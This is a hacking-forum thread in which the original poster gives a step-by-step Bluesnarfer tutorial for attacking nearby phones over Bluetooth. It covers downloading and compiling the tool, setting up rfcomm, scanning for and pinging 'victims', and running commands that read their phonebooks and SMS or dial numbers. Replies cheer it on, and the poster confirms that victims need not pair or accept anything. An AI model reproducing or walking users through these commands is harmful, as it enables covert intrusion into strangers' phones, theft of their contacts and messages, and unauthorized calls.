[WarOnDrugs]

A brief tutorial on how to hack a phone via bluetooth using Bluesnarfer.

For Backtrack/Kali Linux :

First we must install Bluesnarfer

Make your way to the opt directory

Code

cd /opt

Get Bluesnarfer using the wget command

Code

/opt# wget http://alighieri.org/tools/bluesnarfer.tar.gz

Reopen the directory using the ls command and you will see Bluesnarfer in there, now we have to extract it.

Code

:/opt# ls
bluesnarfer.tar.gz  firmware-mod-kit  metasploit  Teeth

To extract we use the simple tar xvf command

Code

/opt# tar xvf bluesnarfer.tar.gz

Reopen the directory once again and you will see Bluesnarfer there

Code

/opt# ls
BFi13-dev-18  bluesnarfer.tar.gz  metasploit
bluesnarfer   firmware-mod-kit    Teeth

Lets enter that folder like so

Code

/opt# cd bluesnarfer

Code

/opt/bluesnarfer# ls
include  Makefile  README  src

Now we finish it off by compoling the install like this

Code

/opt/bluesnarfer# make

To see all of the Bluesnarfer commands run this command ./bluesnarfer

Code

:/opt/bluesnarfer# ./bluesnarfer

Now that we have Bluesnarfer, you must configure rfcomm first, if you havent already done that,

Code

mkdir -p /dev/bluetooth/rfcomm

Code

mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0

Code

mknod --mode=666 /dev/rfcomm0 c 216 0

Code

hciconfig -i hci0 up

Code

hciconfig hci0

(Scan for victims)

Code

hcitool scan hci0

(ping the vitcim to see if he is awake)

Code

l2ping  < victim mac addr>

(browse the victim for rfcomm channels to connect to)

Code

sdptool browse --tree --l2cap < mac addr >

(then you can use bluesnarfer for example to read the victims phonebook, dial a number or read Sms or other things.)

Code

Bluesnarfer -r 1-100 -C 7 -b < mac addr >

(to see available opions to do )

Code

bluebugger -h

(Dial number )

Code

bluebugger -m < victim name > -c 7 -a < mac addr > Dial < number >

Extra: This is what the Bluesnarfer shell should look like

Code

bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr

ATCMD     : valid AT+CMD (GSM EXTENSION)

TYPE      : valid phonebook type ..
example   : "DC" (dialed call list)
      "SM" (SIM phonebook)
      "RC" (recevied call list)
      "XX" much more

-b bdaddr : bluetooth device address
-C chan   : bluetooth rfcomm channel

-c ATCMD  : custom action
-r N-M    : read phonebook entry N to M
-w N-M    : delete phonebook entry N to M
-f name   : search "name" in phonebook address
-s TYPE   : select phonebook memory storage
-l      : list aviable phonebook memory storage
-i      : device info

[kutubpur]

oh this great
i will try this method

[anoncs]

nice tutorial. So if i use this i can have access to the victim's phone messages also? Can they be extracted?

[WarOnDrugs]

oh this great
i will try this method

Hit me with a PM if you need any help.

[VirusTotal]

Awesome tutorial op! Going to try it asap

[WarOnDrugs]

nice tutorial. So if i use this i can have access to the victim's phone messages also? Can they be extracted?

You can indeed access messages. As for extracting information, there's a script called Bluetest you can use, but I don't know how to implement that into the equation for it to work, since I have never used it myself.

---

Awesome tutorial op! Going to try it asap

Cheers man. Tell me how it goes. PM if you need help, I should be able to help you out.

[lonewolf_787]

so this is for devices that have bluetooth enabled and the victim does not have to pair anything or accept ANYTHING at all... is that correct?

[_L0aD1nG_]

GRATZ on making this nice tutorial m8!
When i will be able i will try it too..
Can i PM you anytime for help or if something went wrong?

[WarOnDrugs]

so this is for devices that have bluetooth enabled and the victim does not have to pair anything or accept ANYTHING at all... is that correct?

That is absolutely correct, my man. PM me if you need help with anything.

---

GRATZ on making this nice tutorial m8!
When i will be able i will try it too..
Can i PM you anytime for help or if something went wrong?

Cheers man, it wasn't to hard tbh.
Of course man, if you need help, don't hesitate to throw me a PM.

[pomwtin]

Hy

I think you made a mistake here:

mknod -m 666 /dev/bluetooth/rfcomm/ 0 c 216 0

there must not be space between "/" and "0"
so correct form would be:

mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0

and another one (maby just for hcitool 4.99):

This is not correct form:

hcitool scan hci0

It should be like:

hcitool -i hci0 scan

Other than that, good tutorial 👍
Thanks

[WarOnDrugs]

Hy

I think you made a mistake here:

there must not be space between "/" and "0"
so correct form would be:

and another one (maby just for hcitool 4.99):

This is not correct form:

It should be like:

Other than that, good tutorial 👍
Thanks

Cheers for that dewd, I just made the changes now, a little bilated, but at least it's done.

[adambaidya6]

awesome tutorial... will try it out... thanks

[WarOnDrugs]

awesome tutorial... will try it out... thanks

tell m ehow it goes homes, pm if you need any help.

[djarumblack]

awesome tutorial...
but i've trouble here,i try use bluesnarfer to read my phonebook but failed..

bluesnarfer: invalid command inserted, you must insert AT.*
bluesnarfer: send_cmd failed
bluesnarfer: release rfcomm ok

that message displayed on my screen

thank for your help,
i'm newbie here

[mony123]

AWESOME bro, keep up the good work... Gonna try it ASAP ;)